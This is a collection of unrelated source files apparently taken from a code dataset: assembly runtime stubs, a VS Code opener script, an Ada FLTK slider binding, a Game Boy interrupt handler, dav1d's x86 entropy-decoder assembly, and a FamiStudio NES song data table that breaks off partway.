?SYSCALL_BASE:
ENDMOD
#endif
;---------------------------------------------------------------;
; The distance the code has been moved when using position ;
; independent code. ;
;---------------------------------------------------------------;
MODULE ?CODE_DISTANCE
RTMODEL "__code_model", "pic"
PUBLIC ?CODE_DISTANCE
RSEG LIBRARY_N:DATA:NOROOT(2)
EXTERN ?INIT_PIC
REQUIRE ?INIT_PIC
?CODE_DISTANCE:
DS 4
ENDMOD
;---------------------------------------------------------------;
; A dummy "low level init" that will be used if the user ;
; hasn't defined this function. ;
;---------------------------------------------------------------;
MODULE ?__low_level_init_stub
PUBLIC __low_level_init
RSEG RCODE:CODE:NOROOT
__low_level_init:
MOV 1, R1
JMP [LP]
ENDMOD
END
|
open_folder_VSCode.applescript | snoop2head/Macbook_TouchBar_Shortcuts | 1 | 2527 | for f in "$@"; do
open -a 'Visual Studio Code' "$f"
done |
src/fltk-widgets-valuators-sliders-fill.adb | micahwelf/FLTK-Ada | 1 | 19021 | <filename>src/fltk-widgets-valuators-sliders-fill.adb
with
Interfaces.C.Strings,
System;
use type
System.Address;
package body FLTK.Widgets.Valuators.Sliders.Fill is
procedure fill_slider_set_draw_hook
(W, D : in System.Address);
pragma Import (C, fill_slider_set_draw_hook, "fill_slider_set_draw_hook");
pragma Inline (fill_slider_set_draw_hook);
procedure fill_slider_set_handle_hook
(W, H : in System.Address);
pragma Import (C, fill_slider_set_handle_hook, "fill_slider_set_handle_hook");
pragma Inline (fill_slider_set_handle_hook);
function new_fl_fill_slider
(X, Y, W, H : in Interfaces.C.int;
Text : in Interfaces.C.char_array)
return System.Address;
pragma Import (C, new_fl_fill_slider, "new_fl_fill_slider");
pragma Inline (new_fl_fill_slider);
procedure free_fl_fill_slider
(D : in System.Address);
pragma Import (C, free_fl_fill_slider, "free_fl_fill_slider");
pragma Inline (free_fl_fill_slider);
procedure fl_fill_slider_draw
(W : in System.Address);
pragma Import (C, fl_fill_slider_draw, "fl_fill_slider_draw");
pragma Inline (fl_fill_slider_draw);
function fl_fill_slider_handle
(W : in System.Address;
E : in Interfaces.C.int)
return Interfaces.C.int;
pragma Import (C, fl_fill_slider_handle, "fl_fill_slider_handle");
pragma Inline (fl_fill_slider_handle);
procedure Finalize
(This : in out Fill_Slider) is
begin
if This.Void_Ptr /= System.Null_Address and then
This in Fill_Slider'Class
then
free_fl_fill_slider (This.Void_Ptr);
This.Void_Ptr := System.Null_Address;
end if;
Finalize (Slider (This));
end Finalize;
package body Forge is
function Create
(X, Y, W, H : in Integer;
Text : in String)
return Fill_Slider is
begin
return This : Fill_Slider do
This.Void_Ptr := new_fl_fill_slider
(Interfaces.C.int (X),
Interfaces.C.int (Y),
Interfaces.C.int (W),
Interfaces.C.int (H),
Interfaces.C.To_C (Text));
fl_widget_set_user_data
(This.Void_Ptr,
Widget_Convert.To_Address (This'Unchecked_Access));
fill_slider_set_draw_hook (This.Void_Ptr, Draw_Hook'Address);
fill_slider_set_handle_hook (This.Void_Ptr, Handle_Hook'Address);
end return;
end Create;
end Forge;
procedure Draw
(This : in out Fill_Slider) is
begin
fl_fill_slider_draw (This.Void_Ptr);
end Draw;
function Handle
(This : in out Fill_Slider;
Event : in Event_Kind)
return Event_Outcome is
begin
return Event_Outcome'Val
(fl_fill_slider_handle (This.Void_Ptr, Event_Kind'Pos (Event)));
end Handle;
end FLTK.Widgets.Valuators.Sliders.Fill;
|
src/Core/InterruptHandlers/LYC.asm | stoneface86/GameboyBoilerplateProj | 25 | 177426 | include "./src/Includes.inc"
section "LYCHandler", rom0
LYC::
ld a, LYC_INTERRUPT_CODE
ld [wLastInterrupt], a ; Save last interrupt code
reti
|
src/x86/msac.asm | ignatenkobrain/rav1e | 0 | 25056 | <filename>src/x86/msac.asm
; Copyright © 2019, VideoLAN and dav1d authors
; Copyright © 2019, Two Orioles, LLC
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
%include "ext/x86/x86inc.asm"
SECTION_RODATA 64 ; avoids cacheline splits
min_prob: dw 60, 56, 52, 48, 44, 40, 36, 32, 28, 24, 20, 16, 12, 8, 4, 0
pw_0xff00: times 8 dw 0xff00
pw_32: times 8 dw 32
%if ARCH_X86_64
%define resp resq
%define movp movq
%define c_shuf q3333
%macro DECODE_SYMBOL_ADAPT_INIT 0-1
%endmacro
%else
%define resp resd
%define movp movd
%define c_shuf q1111
%macro DECODE_SYMBOL_ADAPT_INIT 0-1 0 ; hi_tok
mov t0, r0m
mov t1, r1m
%if %1 == 0
mov t2, r2m
%endif
%if STACK_ALIGNMENT >= 16
sub esp, 40-%1*4
%else
mov eax, esp
and esp, ~15
sub esp, 40-%1*4
mov [esp], eax
%endif
%endmacro
%endif
struc msac
.buf: resp 1
.end: resp 1
.dif: resp 1
.rng: resd 1
.cnt: resd 1
.update_cdf: resd 1
endstruc
%define m(x) mangle(private_prefix %+ _ %+ x %+ SUFFIX)
SECTION .text
%if WIN64
DECLARE_REG_TMP 0, 1, 2, 3, 4, 5, 7, 3, 8
%define buf rsp+stack_offset+8 ; shadow space
%elif UNIX64
DECLARE_REG_TMP 0, 1, 2, 3, 4, 5, 7, 0, 8
%define buf rsp-40 ; red zone
%else
DECLARE_REG_TMP 2, 3, 4, 1, 5, 6, 5, 2, 3
%define buf esp+8
%endif
INIT_XMM sse2
cglobal msac_decode_symbol_adapt4, 0, 6, 6
DECODE_SYMBOL_ADAPT_INIT
LEA rax, pw_0xff00
movd m2, [t0+msac.rng]
movq m1, [t1]
movp m3, [t0+msac.dif]
mov t3d, [t0+msac.update_cdf]
mov t4d, t2d
not t2 ; -(n_symbols + 1)
pshuflw m2, m2, q0000
movd [buf+12], m2
pand m2, [rax]
mova m0, m1
psrlw m1, 6
psllw m1, 7
pmulhuw m1, m2
movq m2, [rax+t2*2]
pshuflw m3, m3, c_shuf
paddw m1, m2
mova [buf+16], m1
psubusw m1, m3
pxor m2, m2
pcmpeqw m1, m2 ; c >= v
pmovmskb eax, m1
test t3d, t3d
jz .renorm ; !allow_update_cdf
; update_cdf:
movzx t3d, word [t1+t4*2] ; count
pcmpeqw m2, m2
mov t2d, t3d
shr t3d, 4
cmp t4d, 3
sbb t3d, -5 ; (count >> 4) + (n_symbols > 2) + 4
cmp t2d, 32
adc t2d, 0 ; count + (count < 32)
movd m3, t3d
pavgw m2, m1 ; i >= val ? -1 : 32768
psubw m2, m0 ; for (i = 0; i < val; i++)
psubw m0, m1 ; cdf[i] += (32768 - cdf[i]) >> rate;
psraw m2, m3 ; for (; i < n_symbols; i++)
paddw m0, m2 ; cdf[i] += (( -1 - cdf[i]) >> rate) + 1;
movq [t1], m0
mov [t1+t4*2], t2w
.renorm:
tzcnt eax, eax
mov t4, [t0+msac.dif]
movzx t1d, word [buf+rax+16] ; v
movzx t2d, word [buf+rax+14] ; u
shr eax, 1
.renorm2:
%if ARCH_X86_64 == 0
%if STACK_ALIGNMENT >= 16
add esp, 40
%else
mov esp, [esp]
%endif
%endif
not t4
sub t2d, t1d ; rng
shl t1, gprsize*8-16
add t4, t1 ; ~dif
.renorm3:
mov t1d, [t0+msac.cnt]
movifnidn t7, t0
.renorm4:
bsr ecx, t2d
xor ecx, 15 ; d
shl t2d, cl
shl t4, cl
mov [t7+msac.rng], t2d
not t4
sub t1d, ecx
jge .end ; no refill required
; refill:
mov t2, [t7+msac.buf]
mov rcx, [t7+msac.end]
%if ARCH_X86_64 == 0
push t5
%endif
lea t5, [t2+gprsize]
cmp t5, rcx
jg .refill_eob
mov t2, [t2]
lea ecx, [t1+23]
add t1d, 16
shr ecx, 3 ; shift_bytes
bswap t2
sub t5, rcx
shl ecx, 3 ; shift_bits
shr t2, cl
sub ecx, t1d ; shift_bits - 16 - cnt
mov t1d, gprsize*8-16
shl t2, cl
mov [t7+msac.buf], t5
sub t1d, ecx ; cnt + gprsize*8 - shift_bits
xor t4, t2
%if ARCH_X86_64 == 0
pop t5
%endif
.end:
mov [t7+msac.cnt], t1d
mov [t7+msac.dif], t4
RET
.refill_eob: ; avoid overreading the input buffer
mov t5, rcx
mov ecx, gprsize*8-24
sub ecx, t1d ; c
.refill_eob_loop:
cmp t2, t5
jge .refill_eob_end ; eob reached
movzx t1d, byte [t2]
inc t2
shl t1, cl
xor t4, t1
sub ecx, 8
jge .refill_eob_loop
.refill_eob_end:
mov t1d, gprsize*8-24
%if ARCH_X86_64 == 0
pop t5
%endif
sub t1d, ecx
mov [t7+msac.buf], t2
mov [t7+msac.dif], t4
mov [t7+msac.cnt], t1d
RET
cglobal msac_decode_symbol_adapt8, 0, 6, 6
DECODE_SYMBOL_ADAPT_INIT
LEA rax, pw_0xff00
movd m2, [t0+msac.rng]
mova m1, [t1]
movp m3, [t0+msac.dif]
mov t3d, [t0+msac.update_cdf]
mov t4d, t2d
not t2
pshuflw m2, m2, q0000
movd [buf+12], m2
punpcklqdq m2, m2
mova m0, m1
psrlw m1, 6
pand m2, [rax]
psllw m1, 7
pmulhuw m1, m2
movu m2, [rax+t2*2]
pshuflw m3, m3, c_shuf
paddw m1, m2
punpcklqdq m3, m3
mova [buf+16], m1
psubusw m1, m3
pxor m2, m2
pcmpeqw m1, m2
pmovmskb eax, m1
test t3d, t3d
jz m(msac_decode_symbol_adapt4).renorm
movzx t3d, word [t1+t4*2]
pcmpeqw m2, m2
mov t2d, t3d
shr t3d, 4
cmp t4d, 3 ; may be called with n_symbols <= 2
sbb t3d, -5
cmp t2d, 32
adc t2d, 0
movd m3, t3d
pavgw m2, m1
psubw m2, m0
psubw m0, m1
psraw m2, m3
paddw m0, m2
mova [t1], m0
mov [t1+t4*2], t2w
jmp m(msac_decode_symbol_adapt4).renorm
cglobal msac_decode_symbol_adapt16, 0, 6, 6
DECODE_SYMBOL_ADAPT_INIT
LEA rax, pw_0xff00
movd m4, [t0+msac.rng]
mova m2, [t1]
mova m3, [t1+16]
movp m5, [t0+msac.dif]
mov t3d, [t0+msac.update_cdf]
mov t4d, t2d
not t2
%if WIN64
sub rsp, 48 ; need 36 bytes, shadow space is only 32
%endif
pshuflw m4, m4, q0000
movd [buf-4], m4
punpcklqdq m4, m4
mova m0, m2
psrlw m2, 6
mova m1, m3
psrlw m3, 6
pand m4, [rax]
psllw m2, 7
psllw m3, 7
pmulhuw m2, m4
pmulhuw m3, m4
movu m4, [rax+t2*2]
pshuflw m5, m5, c_shuf
paddw m2, m4
psubw m4, [rax-pw_0xff00+pw_32]
punpcklqdq m5, m5
paddw m3, m4
mova [buf], m2
psubusw m2, m5
mova [buf+16], m3
psubusw m3, m5
pxor m4, m4
pcmpeqw m2, m4
pcmpeqw m3, m4
packsswb m5, m2, m3
pmovmskb eax, m5
test t3d, t3d
jz .renorm
movzx t3d, word [t1+t4*2]
pcmpeqw m4, m4
mova m5, m4
lea t2d, [t3+80] ; only support n_symbols > 2
shr t2d, 4
cmp t3d, 32
adc t3d, 0
pavgw m4, m2
pavgw m5, m3
psubw m4, m0
psubw m0, m2
movd m2, t2d
psubw m5, m1
psubw m1, m3
psraw m4, m2
psraw m5, m2
paddw m0, m4
paddw m1, m5
mova [t1], m0
mova [t1+16], m1
mov [t1+t4*2], t3w
.renorm:
tzcnt eax, eax
mov t4, [t0+msac.dif]
movzx t1d, word [buf+rax*2]
movzx t2d, word [buf+rax*2-2]
%if WIN64
add rsp, 48
%endif
jmp m(msac_decode_symbol_adapt4).renorm2
cglobal msac_decode_bool_adapt, 0, 6, 0
movifnidn t1, r1mp
movifnidn t0, r0mp
movzx eax, word [t1]
movzx t3d, byte [t0+msac.rng+1]
mov t4, [t0+msac.dif]
mov t2d, [t0+msac.rng]
%if ARCH_X86_64
mov t5d, eax
%endif
and eax, ~63
imul eax, t3d
%if UNIX64
mov t6, t4
%endif
shr eax, 7
add eax, 4 ; v
mov t3d, eax
shl rax, gprsize*8-16 ; vw
sub t2d, t3d ; r - v
sub t4, rax ; dif - vw
setb al
cmovb t2d, t3d
mov t3d, [t0+msac.update_cdf]
%if UNIX64
cmovb t4, t6
%else
cmovb t4, [t0+msac.dif]
%endif
%if ARCH_X86_64 == 0
movzx eax, al
%endif
not t4
test t3d, t3d
jz m(msac_decode_symbol_adapt4).renorm3
%if UNIX64 == 0
push t6
%endif
movzx t6d, word [t1+2]
%if ARCH_X86_64 == 0
push t5
movzx t5d, word [t1]
%endif
movifnidn t7, t0
lea ecx, [t6+64]
cmp t6d, 32
adc t6d, 0
mov [t1+2], t6w
imul t6d, eax, -32769
shr ecx, 4 ; rate
add t6d, t5d ; if (bit)
sub t5d, eax ; cdf[0] -= ((cdf[0] - 32769) >> rate) + 1;
sar t6d, cl ; else
sub t5d, t6d ; cdf[0] -= cdf[0] >> rate;
mov [t1], t5w
%if WIN64
mov t1d, [t7+msac.cnt]
pop t6
jmp m(msac_decode_symbol_adapt4).renorm4
%else
%if ARCH_X86_64 == 0
pop t5
pop t6
%endif
jmp m(msac_decode_symbol_adapt4).renorm3
%endif
cglobal msac_decode_bool_equi, 0, 6, 0
movifnidn t0, r0mp
mov t1d, [t0+msac.rng]
mov t4, [t0+msac.dif]
mov t2d, t1d
mov t1b, 8
mov t3, t4
mov eax, t1d
shr t1d, 1 ; v
shl rax, gprsize*8-17 ; vw
sub t2d, t1d ; r - v
sub t4, rax ; dif - vw
cmovb t2d, t1d
cmovb t4, t3
setb al ; the upper 32 bits contains garbage but that's OK
not t4
%if ARCH_X86_64 == 0
movzx eax, al
%endif
jmp m(msac_decode_symbol_adapt4).renorm3
cglobal msac_decode_bool, 0, 6, 0
movifnidn t0, r0mp
movifnidn t1d, r1m
movzx eax, byte [t0+msac.rng+1] ; r >> 8
mov t4, [t0+msac.dif]
mov t2d, [t0+msac.rng]
and t1d, ~63
imul eax, t1d
mov t3, t4
shr eax, 7
add eax, 4 ; v
mov t1d, eax
shl rax, gprsize*8-16 ; vw
sub t2d, t1d ; r - v
sub t4, rax ; dif - vw
cmovb t2d, t1d
cmovb t4, t3
setb al
not t4
%if ARCH_X86_64 == 0
movzx eax, al
%endif
jmp m(msac_decode_symbol_adapt4).renorm3
%macro HI_TOK 1 ; update_cdf
%if ARCH_X86_64 == 0
mov eax, -24
%endif
%%loop:
%if %1
movzx t2d, word [t1+3*2]
%endif
mova m1, m0
pshuflw m2, m2, q0000
psrlw m1, 6
movd [buf+12], m2
pand m2, m4
psllw m1, 7
pmulhuw m1, m2
%if ARCH_X86_64 == 0
add eax, 5
mov [buf+8], eax
%endif
pshuflw m3, m3, c_shuf
paddw m1, m5
movq [buf+16], m1
psubusw m1, m3
pxor m2, m2
pcmpeqw m1, m2
pmovmskb eax, m1
%if %1
lea ecx, [t2+80]
pcmpeqw m2, m2
shr ecx, 4
cmp t2d, 32
adc t2d, 0
movd m3, ecx
pavgw m2, m1
psubw m2, m0
psubw m0, m1
psraw m2, m3
paddw m0, m2
movq [t1], m0
mov [t1+3*2], t2w
%endif
tzcnt eax, eax
movzx ecx, word [buf+rax+16]
movzx t2d, word [buf+rax+14]
not t4
%if ARCH_X86_64
add t6d, 5
%endif
sub eax, 5 ; setup for merging the tok_br and tok branches
sub t2d, ecx
shl rcx, gprsize*8-16
add t4, rcx
bsr ecx, t2d
xor ecx, 15
shl t2d, cl
shl t4, cl
movd m2, t2d
mov [t7+msac.rng], t2d
not t4
sub t5d, ecx
jge %%end
mov t2, [t7+msac.buf]
mov rcx, [t7+msac.end]
%if UNIX64 == 0
push t8
%endif
lea t8, [t2+gprsize]
cmp t8, rcx
ja %%refill_eob
mov t2, [t2]
lea ecx, [t5+23]
add t5d, 16
shr ecx, 3
bswap t2
sub t8, rcx
shl ecx, 3
shr t2, cl
sub ecx, t5d
mov t5d, gprsize*8-16
shl t2, cl
mov [t7+msac.buf], t8
%if UNIX64 == 0
pop t8
%endif
sub t5d, ecx
xor t4, t2
%%end:
movp m3, t4
%if ARCH_X86_64
add t6d, eax ; CF = tok_br < 3 || tok == 15
jnc %%loop
lea eax, [t6+30]
%else
add eax, [buf+8]
jnc %%loop
add eax, 30
%if STACK_ALIGNMENT >= 16
add esp, 36
%else
mov esp, [esp]
%endif
%endif
mov [t7+msac.dif], t4
shr eax, 1
mov [t7+msac.cnt], t5d
RET
%%refill_eob:
mov t8, rcx
mov ecx, gprsize*8-24
sub ecx, t5d
%%refill_eob_loop:
cmp t2, t8
jae %%refill_eob_end
movzx t5d, byte [t2]
inc t2
shl t5, cl
xor t4, t5
sub ecx, 8
jge %%refill_eob_loop
%%refill_eob_end:
%if UNIX64 == 0
pop t8
%endif
mov t5d, gprsize*8-24
mov [t7+msac.buf], t2
sub t5d, ecx
jmp %%end
%endmacro
cglobal msac_decode_hi_tok, 0, 7 + ARCH_X86_64, 6
DECODE_SYMBOL_ADAPT_INIT 1
%if ARCH_X86_64 == 0 && PIC
LEA t2, min_prob+12*2
%define base t2-(min_prob+12*2)
%else
%define base 0
%endif
movq m0, [t1]
movd m2, [t0+msac.rng]
mov eax, [t0+msac.update_cdf]
movq m4, [base+pw_0xff00]
movp m3, [t0+msac.dif]
movq m5, [base+min_prob+12*2]
mov t4, [t0+msac.dif]
mov t5d, [t0+msac.cnt]
%if ARCH_X86_64
mov t6d, -24
%endif
movifnidn t7, t0
test eax, eax
jz .no_update_cdf
HI_TOK 1
.no_update_cdf:
HI_TOK 0
|
SoundEngine/DemoSource/song_shatterhand_nesasm.asm | jroweboy/FamiStudio | 0 | 89286 | <reponame>jroweboy/FamiStudio
;this file for FamiStudio Sound Engine generated by FamiStudio
shatterhand_music_data:
.db 1
.dw .instruments
.dw .samples-3
.dw .song0ch0,.song0ch1,.song0ch2,.song0ch3,.song0ch4
.db LOW(.tempo_env_9_mid), HIGH(.tempo_env_9_mid), 0, 0
.instruments:
.dw .env3,.env0,.env9,.env7
.dw .env5,.env1,.env9,.env7
.dw .env10,.env8,.env9,.env7
.dw .env14,.env6,.env9,.env7
.dw .env2,.env0,.env9,.env4
.dw .env2,.env0,.env12,.env4
.dw .env2,.env0,.env11,.env4
.dw .env13,.env8,.env9,.env7
.samples:
.env0:
.db $c0,$7f,$00,$00
.env1:
.db $c0,$bf,$c1,$00,$02
.env2:
.db $06,$c8,$c9,$c5,$00,$03,$c4,$c4,$c2,$00,$08
.env3:
.db $04,$cf,$7f,$00,$01
.env4:
.db $00,$c0,$08,$c0,$04,$bd,$03,$bd,$00,$03
.env5:
.db $00,$cf,$ca,$c3,$c2,$c0,$00,$05
.env6:
.db $c0,$c2,$c5,$00,$02
.env7:
.db $00,$c0,$7f,$00,$01
.env8:
.db $c0,$c1,$c2,$00,$02
.env9:
.db $7f,$00,$00
.env10:
.db $00,$cb,$ca,$09,$c9,$00,$04
.env11:
.db $c2,$7f,$00,$00
.env12:
.db $c1,$7f,$00,$00
.env13:
.db $00,$ca,$c6,$c3,$c0,$00,$04
.env14:
.db $00,$cb,$cb,$c5,$03,$c4,$03,$c3,$03,$c2,$00,$09
.tempo_env_9_mid:
.db $03,$06,$04,$05,$80
.song0ch0:
.song0ch0loop:
.db $6a, LOW(.tempo_env_9_mid), HIGH(.tempo_env_9_mid), $7e, $88
.ref7:
.db $22, $9b, $f9, $83, $25, $89, $f9, $81, $62, $22, $22, $9b, $f9, $83, $27, $89, $f9, $81, $62, $22, $22, $9b, $f9, $83
.db $2a, $89, $f9, $81, $62, $22, $22, $9b, $f9, $83, $29, $9b, $f9, $83, $27, $89, $f9, $81, $62, $29
.ref51:
.db $25, $89, $f9, $81, $62, $27, $20, $89, $f9, $81, $62, $25, $6b, $7e
.db $ff, $32
.dw .ref7
.db $6b, $00, $62, $25, $8d, $33, $89, $f9, $81, $62, $20
.ref79:
.db $31, $89, $f9, $81, $62, $33, $2c, $89, $f9, $81, $62, $31, $33, $89, $f9, $81, $62, $2c
.db $ff, $0a
.dw .ref79
.db $27, $89, $f9, $81, $62, $2c
.db $ff, $0a
.dw .ref51
.db $29, $89, $f9, $81, $62, $20, $25, $89, $f9, $81, $62, $29, $20, $89, $f9, $81, $62, $25, $1d, $89, $f9, $81, $62, $20
.ref133:
.db $20, $89, $f9, $81, $62, $1d, $22, $89, $f9, $81, $62, $20, $6b, $33, $89, $f9, $81, $62, $22, $00, $62, $22, $8d, $2a
.db $89, $f9, $81, $62, $33, $00, $62, $33
.ref165:
.db $8d, $62, $2a, $8f, $2c, $89, $f9, $81, $62, $2a, $00, $62, $2a, $8d, $62, $2c, $8f, $29, $89, $f9, $81, $62, $2c, $00
.db $62, $2c, $8d, $62, $29, $8f, $2a, $89, $f9, $81, $62, $29, $00, $62, $29, $8d, $27, $ad, $f9, $83, $6b, $29, $89, $f9
.db $81, $62, $27, $00, $62, $27, $8d, $25, $89, $f9, $81, $62, $29, $27, $d1, $f9, $83, $00, $62, $27, $8d, $1d, $89, $f9
.db $81, $62, $27
.db $ff, $0a
.dw .ref133
.db $27, $89, $f9, $81, $62, $22
.db $ff, $0a
.dw .ref51
.ref252:
.db $22, $89, $f9, $81, $62, $20, $6b, $00, $62, $20, $8d, $62, $22, $8f, $2a, $89, $f9, $81, $62, $22, $00, $62, $22
.db $ff, $3c
.dw .ref165
.db $ff, $0a
.dw .ref133
.db $27, $89, $f9, $81, $62, $22
.db $ff, $0a
.dw .ref51
.db $ff, $0a
.dw .ref252
.db $8a
.ref294:
.db $2f, $ad, $f9, $83, $31, $89, $f9, $81, $62, $2f
.ref304:
.db $33, $89, $f9, $81, $62, $31, $35, $89, $f9, $81, $62, $33, $36, $9b, $f9, $83
.ref320:
.db $38, $89, $f9, $81, $62, $36, $36, $89, $f9, $81, $62, $38, $00, $62, $38, $8d, $32, $ad, $f9, $83, $6b, $2f, $bf, $f9
.db $83, $35, $8f, $f9, $81, $62, $2f, $33, $8f, $f9, $81, $62, $35, $32, $8f, $f9, $81, $62, $33, $33, $9b, $f9, $83, $2e
.db $89, $f9, $81, $62, $33, $36, $9b, $f9, $83
.ref377:
.db $35, $89
.ref379:
.db $f9, $81, $62, $36, $33, $89, $f9, $81, $62, $35, $31, $89, $f9, $81, $62, $33, $6b, $00, $62, $33, $8d, $62, $31, $8f
.db $ff, $13
.dw .ref294
.db $31, $9b, $f9, $83
.db $ff, $0a
.dw .ref304
.db $00, $62, $33, $8d, $36, $ad, $f9, $83, $6b, $38, $bf
.ref424:
.db $f9, $83, $38, $89, $f9, $83, $3a, $89, $f9, $81, $62, $38, $3d, $89, $f9, $81, $62, $3a, $38, $89, $f9, $81, $62, $3d
.db $00, $62, $3d, $8d, $88, $2a, $89, $f9, $81, $62, $38
.ref459:
.db $29, $89, $f9, $81, $62, $2a, $25, $89, $f9, $81, $62, $29, $1e, $89, $f9, $81, $62, $25, $1d, $89, $f9, $81, $62, $1e
.db $ff, $55
.dw .ref133
.db $ff, $0a
.dw .ref133
.db $27, $89, $f9, $81, $62, $22
.db $ff, $0a
.dw .ref51
.db $ff, $11
.dw .ref252
.db $ff, $3c
.dw .ref165
.db $ff, $0a
.dw .ref133
.db $27, $89, $f9, $81, $62, $22
.db $ff, $0a
.dw .ref51
.db $ff, $0a
.dw .ref252
.db $31, $9b, $f9, $83, $31, $89, $f9, $83
.db $ff, $0a
.dw .ref304
.db $35, $ad, $f9, $83, $35, $89, $f9, $83, $33, $89, $f9, $81, $62, $35, $00, $62, $35, $8d, $32, $ad, $f9, $83, $6b, $33
.db $bf, $f9, $83, $33, $89
.ref559:
.db $f9, $83, $35, $89, $f9, $81, $62, $33, $36, $89, $f9, $81, $62, $35, $38, $ad, $f9, $83, $36, $89, $f9, $81, $62, $38
.db $35, $89, $f9, $81, $62, $36, $00, $62, $36, $8d, $33, $ad, $f9, $83, $6b, $00, $62, $33, $9f
.ref602:
.db $35, $9b, $f9, $83, $35, $89, $f9, $83, $36, $89, $f9, $81, $62, $35, $38, $89, $f9, $81, $62, $36, $3a, $ad, $f9, $83
.db $38, $89, $f9, $81, $62, $3a, $36, $89, $f9, $81, $62, $38, $00, $62, $38, $8d
.db $ff, $0a
.dw .ref320
.db $35, $89, $f9, $81, $62, $36, $6b, $32, $bf, $f9, $83, $33, $bf, $f9, $83, $35, $89, $f9, $81, $62, $33, $35, $8b, $f9
.db $81, $00, $62, $35, $8d, $35, $d1, $f9, $83, $6b, $3a, $89, $f9, $81, $62, $35
.ref685:
.db $33, $89, $f9, $81, $62, $3a, $2e, $89, $f9, $81, $62, $33, $38, $89, $f9, $81, $62, $2e, $31, $89, $f9, $81, $62, $38
.db $2c, $89, $f9, $81, $62, $31, $2a, $9b, $f9, $83, $00, $62, $2a, $8d, $2a, $89, $f9, $83
.db $ff, $0a
.dw .ref459
.db $2a, $89, $f9, $81, $62, $25
.db $ff, $0a
.dw .ref459
.ref739:
.db $27, $89, $f9, $81, $62, $25, $6b, $2a, $89, $f9, $81, $62, $27, $2a, $89, $f9, $83, $00, $62, $2a, $8d, $2c, $89, $f9
.db $81, $62, $2a, $2c, $89, $f9, $83, $00, $62, $2c, $8d, $2a, $89, $f9, $81, $62, $2c, $2a, $89, $f9, $83, $00, $62, $2a
.db $8d, $2c, $89, $2c, $81, $62, $2a, $2c, $89, $f9, $83, $00, $62, $2c, $8d, $33, $89, $f9, $81, $62, $2c, $31, $89, $f9
.db $81, $62, $33, $2f, $89, $f9, $81, $62, $31, $2e, $89, $f9, $81, $62, $2f, $6b, $3a, $89, $f9, $81, $62, $2e
.db $ff, $24
.dw .ref685
.db $ff, $0a
.dw .ref459
.db $2a, $89, $f9, $81, $62, $25
.db $ff, $0a
.dw .ref459
.db $ff, $49
.dw .ref739
.db $6b, $23, $9b, $f9, $83, $2a, $89, $f9, $81, $62, $23, $25, $9b, $f9, $83, $2c, $9b, $f9, $83, $27, $9b, $f9, $83, $2e
.db $9b, $f9, $83, $35, $89, $f9, $81, $62, $2e, $36, $89, $f9, $81, $35, $8b
.db $ff, $0d
.dw .ref379
.db $6b, $36, $89, $f9, $81, $62, $31, $36, $89, $f9, $83, $00, $62, $36, $8d, $35, $89, $f9, $81, $62, $36
.ref914:
.db $35, $89, $f9, $83, $00, $62, $35, $8d, $36, $89, $f9, $81, $62, $35, $36, $89, $f9, $83, $00, $62, $36, $8d, $1d, $89
.db $f9, $81, $62, $36, $22, $89, $f9, $81, $62, $1d, $29, $89, $f9, $81, $62, $22, $31, $89, $f9, $81, $62, $29, $35, $ad
.db $f9, $83, $fd
.dw .song0ch0loop
.song0ch1:
.song0ch1loop:
.db $8a
.ref969:
.db $27, $9b, $f9, $83, $2a, $89, $f9, $81, $62, $27, $27, $9b, $f9, $83, $2c, $89, $f9, $81, $62, $27, $27, $9b, $f9, $83
.db $2e, $89, $f9, $81, $62, $27, $27, $9b, $f9, $83, $2c, $9b, $f9, $83, $2a, $89, $f9, $81, $62, $2c
.db $ff, $0a
.dw .ref459
.db $ff, $28
.dw .ref969
.db $ff, $0a
.dw .ref459
.db $00, $62, $29, $8d, $36, $89, $f9, $81, $62, $25
.ref1032:
.db $35, $89, $f9, $81, $62, $36, $31, $89, $f9, $81, $62, $35, $36, $89, $f9, $81, $62, $31
.db $ff, $0a
.dw .ref1032
.db $2a, $89, $f9, $81, $62, $31
.db $ff, $0a
.dw .ref459
.db $2c, $89, $f9, $81, $62, $25, $29, $89, $f9, $81, $62, $2c, $25, $89, $f9, $81, $62, $29, $22, $89, $f9, $81, $62, $25
.ref1086:
.db $25, $89, $f9, $81, $62, $22
.ref1092:
.db $27, $89, $f9, $81, $62, $25, $3f, $89, $f9, $81, $62, $27, $00, $62, $27, $8d, $2e, $89, $f9, $81, $62, $3f, $00, $62
.db $3f
.ref1117:
.db $8d, $62, $2e, $8f, $2f, $89, $f9, $81, $62, $2e, $00, $62, $2e, $8d, $62, $2f, $8f, $2c, $89, $f9, $81, $62, $2f, $00
.db $62, $2f, $8d, $62, $2c, $8f, $2e, $89, $f9, $81, $62, $2c, $00, $62, $2c, $8d, $2a, $ad, $f9, $83, $2c, $89, $f9, $81
.db $62, $2a, $00, $62, $2a, $8d, $29, $89, $f9, $81, $62, $2c, $2a, $d1, $f9, $83, $00, $62, $2a, $8d, $22, $89, $f9, $81
.db $62, $2a
.db $ff, $0a
.dw .ref1086
.db $2a, $89, $f9, $81, $62, $27
.db $ff, $0a
.dw .ref459
.ref1203:
.db $27, $89, $f9, $81, $62, $25, $00, $62, $25, $8d, $62, $27, $8f, $2e, $89, $f9, $81, $62, $27, $00, $62, $27
.db $ff, $3c
.dw .ref1117
.db $ff, $0a
.dw .ref1086
.db $2a, $89, $f9, $81, $62, $27
.db $ff, $0a
